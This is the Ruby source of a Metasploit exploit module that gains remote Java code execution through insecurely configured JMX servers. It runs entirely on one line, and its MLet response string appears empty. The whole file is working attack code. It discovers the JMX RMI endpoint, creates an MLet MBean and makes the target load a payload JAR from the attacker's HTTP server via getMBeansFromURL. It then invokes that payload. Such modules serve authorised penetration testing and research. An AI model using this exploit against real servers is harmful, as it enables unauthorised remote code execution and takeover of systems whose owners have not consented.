## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Java::Rmi::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Java JMX Server Insecure Configuration Java Code Execution', 'Description' => %q{ This module takes advantage a Java JMX interface insecure configuration, which would allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while interfaces with authentication enabled will be vulnerable only if a weak configuration is deployed (allowing to use javax.management.loading.MLet, having a security manager allowing to load a ClassLoader MBean, etc.). }, 'Author' => [ 'Braden Thomas', # Attack vector discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'], ['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Targets' => [ [ 'Generic (Java Payload)', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 22 2013' )) register_options([ Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi']) ], self.class) end def on_request_uri(cli, request) if request.uri =~ /mlet$/ jar = "#{rand_text_alpha(8 + rand(8))}.jar" mlet = "" send_response(cli, mlet, { 'Content-Type' => 'application/octet-stream', 'Pragma' => 'no-cache' }) print_status("Replied to request for mlet") elsif request.uri =~ /\.jar$/i p = regenerate_payload(cli) jar = p.encoded_jar paths = [ ["metasploit", "JMXPayloadMBean.class"], ["metasploit", "JMXPayload.class"], ] jar.add_files(paths, MetasploitPayloads.path('java')) send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive', 'Pragma' => 'no-cache' }) print_status("Replied to request for payload JAR") end end def check connect unless is_rmi? return Exploit::CheckCode::Safe end mbean_server = discover_endpoint disconnect if mbean_server.nil? return Exploit::CheckCode::Safe end connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) unless is_rmi? return Exploit::CheckCode::Unknown end jmx_endpoint = handshake(mbean_server) disconnect if jmx_endpoint.nil? return Exploit::CheckCode::Detected end Exploit::CheckCode::Appears end def exploit @mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}" connect print_status("#{peer} - Sending RMI Header...") unless is_rmi? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end print_status("#{peer} - Discovering the JMXRMI endpoint...") mbean_server = discover_endpoint disconnect if mbean_server.nil? fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint") else print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") end connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) unless is_rmi? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") end print_status("#{peer} - Proceeding with handshake...") jmx_endpoint = handshake(mbean_server) if jmx_endpoint.nil? fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server") else print_good("#{peer} - Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}") end print_status("#{peer} - Loading payload...") unless load_payload(jmx_endpoint) fail_with(Failure::Unknown, "#{peer} - Failed to load the payload") end print_status("#{peer} - Executing payload...") send_jmx_invoke( object_number: jmx_endpoint[:object_number], uid_number: jmx_endpoint[:uid].number, uid_time: jmx_endpoint[:uid].time, uid_count: jmx_endpoint[:uid].count, object: "#{@mlet}:name=jmxpayload,id=1", method: 'run' ) disconnect end def is_rmi? send_header ack = recv_protocol_ack if ack.nil? return false end true end def discover_endpoint ref = send_registry_lookup(name: datastore['JMXRMI']) return nil if ref.nil? unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub' vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{ref[:object]}") return nil end ref end def handshake(mbean) begin opts = { object_number: mbean[:object_number], uid_number: mbean[:uid].number, uid_time: mbean[:uid].time, uid_count: mbean[:uid].count } if datastore['JMX_ROLE'] username = datastore['JMX_ROLE'] password = datastore['JMX_PASSWORD'] opts.merge!(username: username, password: password) end ref = send_new_client(opts) rescue ::Rex::Proto::Rmi::Exception => e vprint_error("#{peer} - JMXRMI discovery raised an exception of type #{e.message}") return nil end ref end def load_payload(conn_stub) vprint_status("#{peer} - Getting JMXPayload instance...") begin res = send_jmx_get_object_instance( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: "#{@mlet}:name=jmxpayload,id=1" ) rescue ::Rex::Proto::Rmi::Exception => e case e.message when 'javax.management.InstanceNotFoundException' vprint_warning("#{peer} - JMXPayload instance not found, trying to load") return load_payload_from_url(conn_stub) else vprint_error("#{peer} - getObjectInstance returned unexpected exception #{e.message}") return false end end return false if res.nil? true end def load_payload_from_url(conn_stub) vprint_status("Starting service...") start_service vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") begin res = send_jmx_create_mbean( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: 'javax.management.loading.MLet' ) rescue ::Rex::Proto::Rmi::Exception => e case e.message when 'javax.management.InstanceAlreadyExistsException' vprint_good("#{peer} - javax.management.loading.MLet already exists") res = true when 'java.lang.SecurityException' vprint_error("#{peer} - The provided user hasn't enough privileges") res = nil else vprint_error("#{peer} - createMBean raised unexpected exception #{e.message}") res = nil end end if res.nil? vprint_error("#{peer} - The request to createMBean failed") return false end vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") begin res = send_jmx_get_object_instance( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, name: 'DefaultDomain:type=MLet' ) rescue ::Rex::Proto::Rmi::Exception => e vprint_error("#{peer} - getObjectInstance returned unexpected exception: #{e.message}") return false end if res.nil? vprint_error("#{peer} - The request to GetObjectInstance failed") return false end vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") begin res = send_jmx_invoke( object_number: conn_stub[:object_number], uid_number: conn_stub[:uid].number, uid_time: conn_stub[:uid].time, uid_count: conn_stub[:uid].count, object: 'DefaultDomain:type=MLet', method: 'getMBeansFromURL', args: { 'java.lang.String' => "#{get_uri}/mlet" } ) rescue ::Rex::Proto::Rmi::Exception => e vprint_error("#{peer} - invoke() returned unexpected exception: #{e.message}") return false ensure vprint_status("Stopping service...") stop_service end if res.nil? vprint_error("#{peer} - The call to getMBeansFromURL failed") return false end true end end